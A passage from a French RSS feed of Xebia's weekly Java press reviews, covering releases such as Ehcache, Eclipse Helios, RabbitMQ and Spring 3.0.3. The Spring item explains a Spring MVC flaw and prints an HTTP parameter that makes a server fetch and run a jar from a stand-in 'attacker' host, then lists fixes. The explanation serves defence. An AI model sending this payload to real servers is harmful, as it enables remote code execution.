title="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/IndexOutOfBoundsException.html" href="http://java.sun.com/j2se/1.5.0/docs/api/java/lang/IndexOutOfBoundsException.html">http://java.sun.com/j2se/1.5.0/docs/api/java/lang/IndexOutOfBoundsException.html</a>, Oracle avait remplacé par <a
title="httpdownloadoraclecomdocscdE1747601javase150docsapijavalangIndexOutOfBoundsExceptionhtml" href="http://download.oracle.com/docs/cd/E17476_01/javase/1.5.0/docs/api/java/lang/IndexOutOfBoundsException.html">http://download.oracle.com/docs/cd/E17476_01/javase/1.5.0/docs/api/java/lang/IndexOutOfBoundsException.html</a>, laissant penser qu&#8217;elle dépendait d&#8217;un identifiant d&#8217;un CD ! Le mouvement a eu finalement gain de cause et le <em>java-iste</em> peut à nouveau retrouver ses bonnes vieilles habitudes.</p><h4><a
name="SortiedelaversiondEhcache"></a>Sortie de la version 2.2 d&#8217;Ehcache</h4><p>Le cache distribué de Terracota, <a
title="Ehcache" href="http://ehcache.org/">Ehcache</a> vient de sortir en version 2.2.<br
/> Au menu des nouveautés pour la version communautaire d&#8217;Ehcache :</p><ul><li>la simplification et l&#8217;amélioration de la console de contrôle et de monitoring du cache,</li><li>une amélioration de la consommation mémoire et de l&#8217;utilisation du réseau,</li></ul><p>et pour la version <em>enterprise</em> (commerciale) :</p><ul><li>un nouveau moteur de stockage distribué permettant de gérer jusqu&#8217;à plusieurs To de données réparties sur plusieurs centaines de nœuds,</li><li>la possibilité de distribuer les données sur des nœuds répartis dans de multiples data centers (éventuellement distants géographiquement),</li><li>l&#8217;intégration des problématiques d&#8217;authentification et d&#8217;autorisation via un support de JAAS.</li></ul><p>Nous pouvons voir dans cette version l&#8217;aboutissement du savoir faire des équipes d&#8217;Ehcache et de Terracota dans la réalisation de cache et d&#8217;architectures distribuées. Cette évolution confirme Ehcache comme un étant un concurrent sérieux à des solutions telles qu&#8217;<a
title="Oracle Coherence" href="http://www.oracle.com/technology/products/coherence/index.html">Oracle Coherence</a> dont nous vous parlions dans <a
title="cet article" href="http://blog.xebia.fr/2009/10/14/booster-vos-recherches-avec-oracle-coherence/">cet article</a>.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/07/27/revue-de-presse-xebia-169/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/</link> <comments>http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#comments</comments> <pubDate>Tue, 29 Jun 2010 05:50:07 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[Gorm]]></category> <category><![CDATA[Grails]]></category> <category><![CDATA[Groovy]]></category> <category><![CDATA[MuleSoft]]></category> <category><![CDATA[Performance]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Tomcat]]></category> <category><![CDATA[Tomcat Stats]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=4971</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Outils Helios, Eclipse 3.6 SOA Tomcat Stats: administrer Tomcat depuis son iPhone Le coin de la technique Articles sur Groovy/Spring et Grails/Hibernate Un nouveau top 10 orienté performance Agilité Happy birthday Post-It ! Outils Helios, Eclipse 3.6 Après avoir épuisé les principales lunes de [...]]]></description> <content:encoded><![CDATA[<p><img
style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Outils</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#HeliosEclipse">Helios, Eclipse 3.6</a></li></ul><p><strong>SOA</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#SortiedeTomcatStatsladministra">Tomcat Stats: administrer Tomcat depuis son iPhone</a></li></ul><p><strong>Le coin de la  technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#ArticlessurGroovySpringetGrail">Articles sur Groovy/Spring et Grails/Hibernate</a></li><li><a
href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#Unnouveautoporientperformance">Un nouveau top 10 orienté performance</a></li></ul><p><strong>Agilité</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/#HappybirthdayPostIt">Happy birthday Post-It !</a></li></ul><h3><a
name="Outils"></a>Outils</h3><h4><a
name="HeliosEclipse"></a>Helios, Eclipse 3.6</h4><p>Après avoir épuisé les principales lunes de Jupiter (Callisto, Europa, Ganymède, Galileo), voici venu le tour d&#8217;<a
title="Helios" href="http://www.eclipse.org/">Helios</a> pour incarner la version annuelle d&#8217;Eclipse. Cette livraison ne contient pas moins de 39 projets de la fondation Eclipse et les supports pour Windows7, Ubuntu 10.04 et PowerPC 64 bit ont été ajoutés.</p><p>Pour ceux qui aiment ajouter une multitude de plugins à leur Eclipse, au lieu de passer par le &laquo;&nbsp;Install new software&#8230;&nbsp;&raquo;, un lien direct vers le Marketplace permet très facilement d&#8217;installer ces plugins, un peu à la manière d&#8217;un plugin Firefox (tout comme le redémarrage obligatoire). L&#8217;ancienne méthode marche toujours pour les applications qui ne se trouvent pas sur le Marketplace. Et sûrement que les fans de DVCS (Distributed Version Control System) vont se précipiter sur le plugin EGit/JGit pour gérer ses sources sous Git, JGit étant l&#8217;implémentation <em>full java</em> utilisée également sur d&#8217;autre projets alors qu&#8217;EGit est sa surcouche pour Eclipse. Le résultat est assez prometteur.</p><p>En ce qui concerne uniquement Java, quelques petites améliorations ont été apportées:</p><ul><li>Les options du <em>formatter</em> acceptent plus de sémantiques comme les annotations, la déclaration de méthodes ou la possibilité de désactiver le <em>formatter</em> d&#8217;une partie du code (intéressant pour aider des merges compliqués).</li><li>Les fonctionnalités sur le breakpoint, comme l&#8217;ajout d&#8217;une condition ou le compteur, sont à présent directement accessibles dans le panel <em>breakpoints</em> et non plus en passant par un menu contextuel dans le code.</li></ul><p>La version 3.7 devrait surtout se concentrer sur Java7. Ian Bull d&#8217;Eclipse propose un <a
title="top ten" href="http://eclipsesource.com/blogs/2010/06/23/top-10-eclipse-helios-features/">top ten</a> intéressant pour faire le tour des fonctionnalités. Arrive en tête l&#8217;application Xtext qui permet d&#8217;écrire son propre DSL puis de générer à partir de celui-ci son propre éditeur Eclipse contenant la complétion et différents outils pour coder dans ce nouveau langage. Une affaire à suivre.</p><p>Mais malgré toutes les nouvelles fonctionnalités, Helios sera surtout scruté pour les multiples bugs corrigés, sa gourmandise en RAM et sa stabilité, ce que seule une pratique intensive pourra valider. Alors à vos souris !</p><h3><a
name="SOA"></a>SOA</h3><h4><a
name="SortiedeTomcatStatsladministra"></a>Tomcat Stats: administrer Tomcat depuis son iPhone</h4><p><a
title="MuleSoft" href="http://www.mulesoft.com">MuleSoft</a>, plus connu pour son ESB Open Source <a
title="Mule" href="http://www.mulesoft.com/mule-esb-open-source-esb">Mule</a>, a récemment annoncé la sortie de <a
title="Tomcat Stats" href="http://www.mulesoft.com/mulesoft-introduces-iphone-app-apache-tomcat">Tomcat Stats</a>, la première application de monitoring Tomcat pour iPhone. Cette application gratuite vient enrichir l&#8217;<a
title="offre de support" href="http://www.mulesoft.com/free-apache-tomcat-support">offre de support</a> également gratuite, proposée par MuleSoft depuis maintenant presque une année. L&#8217;application permet à un administrateur de gérer à distance plusieurs instances de Tomcat, qu&#8217;elles soient installées au sein de l&#8217;infrastructure propre de l&#8217;entreprise ou dans le Cloud. L&#8217;ensemble des informations critiques des serveurs administrés pourra alors être consulté depuis l&#8217;application, notamment l&#8217;utilisation mémoire, les statistiques sur le traffic Web, ainsi que le statut du serveur.</p><p>Pour télécharger l&#8217;application, rien de plus simple il suffit de se rendre sur l&#8217;App Store, directement depuis son mobile, ou sur iTunes à l&#8217;adresse suivante : <a
title="Tomcat Stats By MuleSoft Inc" href="http://itunes.apple.com/us/app/tomcat-stats/id376646649?mt=8">Tomcat Stats By MuleSoft Inc.</a></p><p>Bien qu&#8217;un peu gadget, et pas vraiment indispensable, cette application iPhone offrira toujours aux administrateurs la possibilité de prolonger leur pause café sans avoir à culpabiliser.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la  technique</h3><h4><a
name="ArticlessurGroovySpringetGrail"></a>Articles sur Groovy/Spring et Grails/Hibernate</h4><p><a
title="IBM developerWorks" href="http://www.ibm.com/developerworks/">IBM developerWorks</a> nous a récemment gratifié d&#8217;un  article en 2 parties intitulé &laquo;&nbsp;GroovierSpring&nbsp;&raquo;.  Dans <a
title="la premire partie" href="http://www.ibm.com/developerworks/java/library/j-groovierspring1.html">la première partie</a>, nous  apprenons à définir des beans Spring en Groovy. Quatre méthodes  sont à notre disposition:</p><ul><li>Utilisation de classes Groovy compilées en .class normaux</li><li>Utilisation de classes Groovy directement sous forme de .groovy</li><li>Utilisation de  scripts Groovy en ligne,  écrits dans la configuration Spring</li><li>Utilisation  de <a
title="Bean Builder" href="http://www.grails.org/Spring+Bean+Builder">Bean Builder</a> de Grails</li></ul><p>Cette  dernière possibilité permet de créer des beans dynamiquement, à  partir de code Groovy. Cela  sous entend que l&#8217;on peut, par le code, adapter les beans obtenus selon le contexte, les créer en utilisant des boucles, de la  logique&#8230; C&#8217;est d&#8217;ailleurs une solution utilisée dans Grails.</p><p>Une  fois les beans correctement  définis, nous pouvons les utiliser comme n&#8217;importe quel bean Java  défini plus classiquement. Le fait que les beans soient à  l&#8217;origine en Groovy est  complètement transparent à l&#8217;application.<br
/> <a
title="La seconde partie" href="http://www.ibm.com/developerworks/java/library/j-groovierspring2.html">La seconde partie</a> de l&#8217;article  va plus loin en explorant le rechargement à chaud des beans Groovy. C&#8217;est une plus-value  importante: qui n&#8217;a jamais rêvé de pouvoir changer facilement certains  bouts de code soumis aux désirs changeants des clients (ou à des bugs récurrents  !) ? De plus, l&#8217;article propose une implémentation permettant de  stocker son code Groovy en  base de donnée, car il n&#8217;est pas toujours évident d&#8217;accéder au système  de fichier des applications en production. C&#8217;est une idée assez peu  conventionnelle ! D&#8217;ailleurs, le paragraphe de fin, intitulé &laquo;&nbsp;When Groovy scripts go bad&nbsp;&raquo;,  constitue une mise en garde pour ne pas abuser de ces possibilités, et  être conscient des problèmes de sécurité soulevés.</p><p>Tant que nous  somme dans le monde de Groovy,  il nous semble intéressant de vous indiquer un article <a
title="du blog de SpringSource" href="http://blog.springsource.com/2010/06/23/gorm-gotchas-part-1/">du blog de SpringSource</a> qui s&#8217;intitule &laquo;&nbsp;GORM Gotchas (Part 1)&nbsp;&raquo;. Il pointe du  doigt des comportements de GORM (la couche de  persistance de Grails basée sur Hibernate) pouvant sembler bizarres. Les habitués d&#8217;Hibernate n&#8217;apprendront pas grand choses, mais l&#8217;article éclairera sans doutes  ceux qui, attirés par la simplicité de Grails, se sont  mis à l&#8217;utiliser sans expérience préalable d&#8217;Hibernate. Ils comprendront ainsi pourquoi leurs objets ne sont pas toujours sauvegardés immédiatement malgré un appel à &laquo;&nbsp;save()&nbsp;&raquo;, et pourquoi ils le sont parfois en l&#8217;absence d&#8217;appel à cette même méthode. <a
title="Un autre article" href="http://naleid.com/blog/2009/10/01/batch-import-performance-with-grails-and-mysql/">Un autre article</a> traitant de Grails et Hibernate nous vient de Ted Naleid.  Celui-ci explique comment il a pu améliorer les performances de son batch en <em>flushant</em> la session Hibernate et en vidant une Map de validation utilisée par Grails en interne. Ces 2 opérations exécutées régulièrement au cours du batch lui ont permis de démultiplier les performances. Grails s&#8217;appuie sur Hibernate, et il est parfois bon de se remémorer le fonctionnement de celui-ci pour expliquer et remédier à des problèmes observés coté Grails !</p><h4><a
name="Unnouveautoporientperformance"></a>Un nouveau top 10 orienté performance</h4><p>Ce top10 se trouve <a
title="sur le blog de lditeur Dynatrace" href="http://blog.dynatrace.com/2010/06/15/top-10-performance-problems-taken-from-zappos-monster-and-co/">sur le blog de l&#8217;éditeur Dynatrace</a>. A travers ce que ses consultants ont pu voir chez leur client (on parle donc d&#8217;un top 10 sélectif, chez des clients qui avaient conscience d&#8217;avoir des problèmes et qui pouvaient se permettre de les diagnostiquer avec un outil comme Dynatrace), il dresse un panorama qu&#8217;il est bon de toujours avoir à l&#8217;esprit durant nos développements. Nous nous sommes permis de le compléter avec nos propres retours d&#8217;expérience.</p><ul><li>une base de données trop sollicitée, ce qui inclut des données requetées trop grandes, ou requetées plusieurs fois, ou encore de trop nombreuses requêtes pour rapatrier une seule donnée (problème des mauvais usage des ORM).</li><li>une mauvaise programmation concurrente, avec un excès de synchronisation.</li><li>un manque de compréhension des appels <em>remote</em> et donc un trop grand nombre d&#8217;appels.</li><li>un mauvais usage des frameworks de mapping objet &#8211; relationnel. Ce point est largement répandu chez nos clients, en couvrant un large spectre, du simple problème de paramétrage à l&#8217;utilisation la plus hors de propos de la librairie.</li><li>l&#8217;existence de fuite mémoire (mais pourquoi ce point n&#8217;a t&#8217;il pas été placé en premier ?)</li><li>une librairie tierce coupable de mauvaises performance. Avec la multiplication des composants dans nos applications, le risque d&#8217;introduire des librairies moins robustes et moins performantes existe. Nous avons toujours trouvé étonnant de voir partir en production certains projets basés sur des librairies en béta&#8230;</li><li>une mauvaise utilisation des ressources machine (CPU, I/O&#8230;). Un traitement prend 50 % de CPU pendant 2 ms. Pas de quoi fouetter un chat ? Multipliez le par 1000 utilisateurs, une consommation mémoire excessive entraînant de fréquents GC, et nous en reparlerons.</li><li>des sites web trop chargés. La bande passante ne cesse d&#8217;augmenter, mais ce n&#8217;est pas une raison pour surcharger vos frontaux avec de nombreuses images trop volumineuses, des appels AJAX incessants, en ignorant joyeusement les stratégies de cache navigateur et/ou serveur.</li><li>une mauvaise gestion de caching des objets en mémoire. Surchargez votre mémoire pour alléger votre base, et c&#8217;est le Garbage Collector qui vous rappellera à l&#8217;ordre.</li><li>la sérialisation coute cher. Attention donc, si vous multipliez les appels RMI ou SOAP, à ne pas sérialiser trop d&#8217;objets, ou des objets trop volumineux.</li></ul><p>Nous avons échangé les places du point n°10 et du point bonus. Le point n°10, même si il a une réalité tangible, nous paraissait un peu trop marketing (mais c&#8217;est en partie la raison de vivre d&#8217;un blog éditeur) et nous préférons le déplacer en bonus :</p><ul><li>le problème intermittent, invisible. C&#8217;est celui dont il faut se prémunir en multipliant les tests (fonctionnels, de charge) ou en étant idéalement outillé.</li></ul><h3><a
name="Agilit"></a>Agilité</h3><h4><a
name="HappybirthdayPostIt"></a>Happy birthday Post-It !</h4><p>Et pour conclure cette revue de presse, nous ne résistons pas à l&#8217;envie de partager avec vous cette nouvelle d&#8217;importance: les Post-It, ces fameuses petites notes collantes multicolores, <a
title="fêtent leurs 30 ans" href="http://www.journaldunet.com/economie/industrie/fabrication-de-post-it/">fêtent leurs 30 ans</a>. Rappelons que l&#8217;utilisation de Post-It est devenue partie intégrante de la pratique de Scrum. Comment mettre à jour facilement la liste des tâche d&#8217;un Sprint sans Post-It ?! Alors pour leur rendre hommage, <a
title="regardons quelques photos" href="http://www.touilleur-express.fr/2009/03/30/3-exemples-de-tableaux-scrum/">regardons quelques photos</a> ou encore cette <a
title="magnifique vido de laquelle ils sont les acteurs majeurs" href="http://vimeo.com/4587652">magnifique vidéo de laquelle ils sont les acteurs majeurs</a>. Bon anniversaire les p&#8217;tits gars !</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2010/06/29/revue-de-presse-xebia-165/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/</link> <comments>http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#comments</comments> <pubDate>Tue, 22 Jun 2010 05:45:32 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Apache Click]]></category> <category><![CDATA[Eclipse]]></category> <category><![CDATA[Netbean]]></category> <category><![CDATA[Netbeans]]></category> <category><![CDATA[PaaS]]></category> <category><![CDATA[Play!]]></category> <category><![CDATA[rabbitmq]]></category> <category><![CDATA[Sencha]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Stratos]]></category> <category><![CDATA[Tomcat]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=4919</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII RabbitMQ 1.8 RIA Du côté de chez Play! Framework ExtJS + Raphael + jQtouch = Sencha SOA WSO2 lance Stratos, un PaaS ouvert Le coin de la technique Spring, version 3.0.3 et faille de sécurité Trucs et astuces pour Eclipse [...]]]></description> <content:encoded><![CDATA[<p><img
style="margin: 1em 1em 1em 1em; float: right;" src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" /></p><p><em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité  éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#RabbitMQ">RabbitMQ 1.8</a></li></ul><p><strong>RIA</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#DuctdechezPlayFramework">Du côté de chez Play! Framework</a></li><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#ExtJSRaphaeljQtouchSencha">ExtJS + Raphael + jQtouch = Sencha</a></li></ul><p><strong>SOA</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#WSOlanceStratosunPaaSouvert">WSO2 lance Stratos, un PaaS ouvert</a></li></ul><p><strong>Le coin de la  technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#Springversionetfailledescurit">Spring, version 3.0.3 et faille de sécurité</a></li><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#TrucsetastucespourEclipse">Trucs et astuces pour Eclipse</a></li><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#SortiedApacheClick">Sortie d&#8217;Apache Click 2.2.0</a></li><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#Netbeans">Netbeans 6.9</a></li><li><a
href="http://blog.xebia.fr/2010/06/22/revue-de-presse-xebia-164/#Choisirentremodjketmodproxypar">Choisir entre mod_jk et mod_proxy, par Mark Thomas</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité  éditeurs / SSII</h3><h4><a
name="RabbitMQ"></a>RabbitMQ 1.8</h4><p>Alors que des idées originales sont proposées autour de RabbitMQ, comme cette <a
title="proposition" href="http://www.tomcatexpert.com/blog/2010/06/21/clustering-cloud-friendly-tomcat-sessions-rabbitmq-part-i">proposition</a> de clustering de session dans Tomcat, la nouvelle version sort enfin des cartons.</p><p>La possibilité d&#8217;ajouter un plugin pour modifier la persistance des messages et un autre pour définir ses propres types d&#8217;échanges semble s&#8217;adresser surtout aux spécialistes (RabbitMQ pour l&#8217;instant ne propose qu&#8217;un mode de persistance même si un nouveau est annoncé prochainement).</p><p>Un gros effort a été fourni également pour se rapprocher de la version 0.9.1 de la spécification d&#8217;<a
href="www.amqp.org">AMQP</a> qui est actuellement en version 0.10 et déjà supportée par <a
title="Qpid" href="http://qpid.apache.org/">Qpid</a>. Inutile donc de rêver à la futur version 1.0 qui encore en phase de validation et qui demandera beaucoup d&#8217;efforts aux brokers pour l&#8217;implémenter. Néanmoins RabbitMQ profite de cette montée de version pour améliorer sa sémantique, par exemple en ne permettant plus de <em>acker</em> plusieurs fois un même message.</p><p>On peut regretter aussi que cette version n&#8217;apporte pas de nouveaux ponts vers Spring, suite à son rachat par VMWare, même s&#8217;il existe déjà des solutions externes.</p><p>Une nouveauté tout de même sympathique, la possibilité à présent de passer par Maven pour le client Java :</p><pre class="brush: xml; title: ; notranslate">&lt;dependency&gt;
    &lt;groupId&gt;com.rabbitmq&lt;/groupId&gt;
    &lt;artifactId&gt;amqp-client&lt;/artifactId&gt;
    &lt;version&gt;1.8.0&lt;/version&gt;
&lt;/dependency&gt;</pre><p>Bien que cette version ne révolutionne rien, elle corrige pas mal d&#8217;imperfections et il est chaudement conseillé de l&#8217;installer.</p><h3><a
name="RIA"></a>RIA</h3><h4><a
name="DuctdechezPlayFramework"></a>Du côté de chez Play! Framework</h4><p><a
title="Play!" href="http://www.playframework.org/">Play!</a>, le framework qui monte, qui monte, vient de passer un cap important : une <a
title="Cheat Sheet" href="http://www.lunatech-research.com/archives/2010/06/08/play-framework-cheat-sheet">Cheat Sheet</a> vient de lui être consacrée !</p><p>Les releases s&#8217;enchaînent à un tel rythme que cette antisèche est pour la version 1.0.2.1 alors que Play! en est déjà à la 1.0.3. Mais elle devrait tout de même se révéler fort utile pour débuter en toute quiétude, sans avoir à chercher dans la doc toutes les 30 secondes.</p><ul><li><a
title="Play! Framework Cheat Sheet" href="http://www.lunatech-research.com/archives/2010/06/08/play-framework-cheat-sheet">Play! Framework Cheat Sheet</a></li></ul><p>Egalement à signaler, le lancement d&#8217;une plateforme pour héberger vos applications Play! : <a
title="PlayApps" href="http://www.playapps.net/">PlayApps</a>. En quelques clics, vous pouvez désormais réserver un espace dimensionné à vos besoins et déployer une application rapidement. Base MySql, accès SSH, et un joli tableau de bord qui a l&#8217;air assez complet, pour manager vos applications. Si certains lecteurs ont des retours à faire sur cette offre, nous n&#8217;avons pas encore eu l&#8217;occasion de tester ça, et nous sommes curieux.</p><h4><a
name="ExtJSRaphaeljQtouchSencha"></a>ExtJS + Raphael + jQtouch = Sencha</h4><p>Nous connaissons <a
title="ExtJS" href="http://www.sencha.com/products/js/">ExtJS</a> mais pas forcément la compagnie qui se trouve derrière le framework. Celle-ci ayant grossit ces derniers mois, une nouvelle identité nous est désormais proposée : ExtJS devient <a
title="Sencha" href="http://sencha.com/">Sencha</a> ! (via <a
title="ajaxian" href="http://ajaxian.com/archives/sencha-extjs-jqtouch-raphael-connect"><em>ajaxian</em></a>)</p><p>Alors, qu&#8217;y a-t-il derrière cette nouvelle identité ?  Et bien plusieurs produits déjà sortis et d&#8217;autres encore en incubation :</p><ul><li>Sencha Touch : framework HTML5 pour développement mobile <em>(iPhone et Android)</em> ;</li><li>Ext Designer : application desktop de création d&#8217;interfaces ;</li><li>Ext JS : on ne présente plus ce framework de création d&#8217;interfaces riches en Javascript ;</li><li>Ext GWT : Ext JS pour les développeurs Java et GWT ;</li><li>Ext Core : librairie Javascript cross-browser ;</li><li>[Labs] jQTouch : librairie de développement mobile léger avec animation et plugin UI pour jQuery ;</li><li>[Labs] Raphaël : librairie de développement de graphiques vectoriels SVG ;</li><li>[Labs] Connect : framework regroupant Rack et NodeJS <em>(j&#8217;attend déjà avec impatience !)</em> pour un serveur d&#8217;application <em>lean</em> et <em>event driven</em>.</li></ul><p>Bienvenue donc à Sencha et à sa pléiade de produits déjà fortement utilisés dans la communauté.</p><h3><a
name="SOA"></a>SOA</h3><h4><a
name="WSOlanceStratosunPaaSouvert"></a>WSO2 lance Stratos, un PaaS ouvert</h4><p><a
title="WSO2" href="http://wso2.org/">WSO2</a>, éditeur de la plateforme open source de middleware Carbon, a annoncé en début de mois sa nouvelle plateforme <a
title="PaaS" href="http://en.wikipedia.org/wiki/Platform_as_a_service">PaaS</a> Stratos. D&#8217;après <a
title="Paul Fermantle" href="http://pzf.fremantle.org/2010/06/wso2-stratos-platform-as-service-for.html">Paul Fermantle</a>, CTO de la firme, leur offre se démarque des autres PaaS du marché comme Google App Engine, par les points suivants :</p><ul><li>contrairement à GAE ou Force.com, Stratos peut être utilisé aussi bien sur des nuages privés que public,</li></ul><ul><li>Stratos n&#8217;offre pas seulement une plateforme pour le développement d&#8217;applications web, mais une architecture d&#8217;un SI d&#8217;entreprise complète avec notamment un ESB, de l&#8217;orchestration de services, etc &#8230;,</li></ul><ul><li>Stratos se repose essentiellement sur des standards ouverts et des modes de déploiement classiques ce qui favorise la portabilité des applications.</li></ul><p>Vous pouvez d&#8217;ores et déjà l&#8217;essayer à cette <a
title="adresse" href="https://cloud.wso2.com/carbon/admin/login.jsp">adresse</a></p><h3><a
name="Lecoindelatechnique"></a>Le coin de la  technique</h3><h4><a
name="Springversionetfailledescurit"></a>Spring, version 3.0.3 et faille de sécurité</h4><p>Grâce aux feedback de la communauté sur Spring 3.0.2, et à plusieurs semaines de travail, SpringSource nous livre une version 3.0.3 corrigeant plus d&#8217;une centaine de bugs mineurs. Les aspects ayant le plus bénéficié de ce travail sont les taglibs JSP et les supports de OpenJPA 2.0, Hibernate 3.5.2 et JBoss 6.0.0 M3, annoncés comme pleinement opérationnels maintenant.</p><p>Plus de détails sur l&#8217;<a
title="annonce officielle" href="http://blog.springsource.com/2010/06/15/spring-framework-3-0-3-released/">annonce officielle</a>. Il est à noter que cette version corrige <a
title="une faille de scurit assez importante" href="http://www.securityfocus.com/archive/1/511877">une faille de sécurité assez importante</a> découverte sur la partie MVC et remontée par Meder Kydyraliev, de l&#8217;équipe sécurité de Google. Les versions 2.5 et 3.0.0 du framework sont touchées par cette faille.</p><p>Le principe de l&#8217;attaque consiste à :</p><ol><li>Réaliser un jar accessible depuis internet avec un fichier <code>META-INF/spring-form.tld</code> et un répertoire <code>META-INF/tags/</code> contenant le code Java du tag</li><li>Soumettre un formulaire avec le paramètre HTTP : <code>class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/</code></li><li>Ensuite, le comportement interne de Spring fait qu&#8217;il va télécharger <code>http://attacker/attack.jar</code> pour l&#8217;exécuter sur la JVM du serveur d&#8217;application.</li></ol><p>Pour se défendre de ce type d&#8217;attaque il y a deux possibilités :</p><ul><li>Faire une mise à jour du framework Spring (de 2.5.6 à 2.5.7 ou 3.0.0.RELEASE à 3.0.3.RELEASE)</li><li>Ou définir une règle firewall pour empêcher le téléchargement des fichiers indiqués dans l&#8217;URL soumise</li></ul><p>Pour plus détails, je vous invite à lire le <a
title="billet de Julien Dubois sur son blog Responcia" href="http://www.responcia.fr/blog/2010/06/18/faille-de-securite-critique-dans-spring/">billet de Julien Dubois sur son blog Responcia</a></p><h4><a
name="SortiedApacheClick"></a>Sortie d&#8217;Apache Click 2.2.0</h4><p><a
title="Apache Click" href="http://click.apache.org/">Apache Click</a> est un framework web JEE orienté composants et évènements. Les pages et les composants sont développés en Java alors que la partie templating s&#8217;écrit en Velocity, en FreeMarker ou en JSP. Click est <em>stateless</em> par défaut mais peut être paramétré pour être <em>stateful</em>. A noter qu&#8217;il est <em>top-level project</em> chez Apache depuis Novembre 2009.</p><p>Les nouveautés de cette version sont <a
title="nombreuses" href="http://click.apache.org/docs/roadmap-changes.html">nombreuses</a>. Elles vont de la mise à jour des versions de Velocity et Cayenne en passant par la correction de bugs divers concernant la gestion des dates dans Click ainsi que l&#8217;ajout de nombreuses classes techniques apportant chacune leur lot de nouveautés.</p><p>Les liens utiles : <a
title="téléchargement" href="http://click.apache.org/docs/downloads.html">téléchargement</a>, <a
title="guide utilisateur" href="http://click.apache.org/docs/user-guide.html">guide utilisateur</a> et <a
title="exemples" href="http://www.avoka.com/click-examples/home.htm">exemples</a>.</p><h4><a
name="TrucsetastucespourEclipse"></a>Trucs et astuces pour Eclipse</h4><p>De plus en plus de développeurs sont convaincus par <a
title="IntelliJ IDEA" href="http://www.jetbrains.com/idea/">IntelliJ IDEA</a>, l&#8217;IDE de <a
title="JetBrains" href="http://www.jetbrains.com/">JetBrains</a>. Les raisons sont diverses et variées : de meilleurs plugins, une meilleure intégration avec de nombreux frameworks ou bien encore de nouvelles fonctionnalités manquant cruellement à Eclipse.  Certes, IDEA apporte son lot de changements par rapport à <a
title="Eclipse" href="http://www.eclipse.org/">Eclipse</a> mais il faut toutefois remarquer que de nombreuses fonctionnalités de ce dernier ne sont pas bien mises en avant par l&#8217;IDE et sont mêmes pour certaines inconnues des développeurs. Voilà donc une petite série d&#8217;articles du côté de chez <a
title="CertPal" href="http://www.certpal.com/blogs/tag/tips/">CertPal</a> de type trucs et astuces qui vous permettra peut-être de découvrir quelques fonctionnalités d&#8217;Eclipse.</p><p>Le <a
title="premier article" href="http://www.certpal.com/blogs/2009/08/eclipse-tips-and-tricks-part-1/">premier article</a> se consacre au <code>code templates</code>. Exemple : la complétion sur <code>syso</code> nous génère automatiquement <code>System.out.println()</code>. De nombreux templates sont déjà disponibles et il sera bien sûr possible d&#8217;en ajouter très facilement. L&#8217;auteur nous présente alors quelques possibilités de templates comme le <code>go</code> générant un <code>main</code>, le <code>log</code> générant une variable de log avec les imports adéquats ou bien encore le <code>tryf</code> générant un block <code>try/catch/finally</code>.</p><p>Le <a
title="second" href="http://www.certpal.com/blogs/2009/09/eclipse-tips-and-tricks-part-2/">second</a> se focalise sur le débogage de l&#8217;application. Cela commence par la mise en place du <code>remote debugging</code>. Puis, l&#8217;auteur détaille les points d&#8217;arrêt conditionnels, la vue <code>display</code> qui permet l&#8217;exécution de code <em>live</em> avec toutes les variables du scope à disposition, la définition d&#8217;un <code>detail formatter</code> spécifique et la modification <em>live</em> de valeurs depuis la vue d&#8217;inspection. Un très bon article et un très bon rappel de tous les outils et fonctionnalités qui sont à notre disposition pour le <em>debug</em> de nos applications.</p><p>Enfin, sorti en début de semaine dernière, un <a
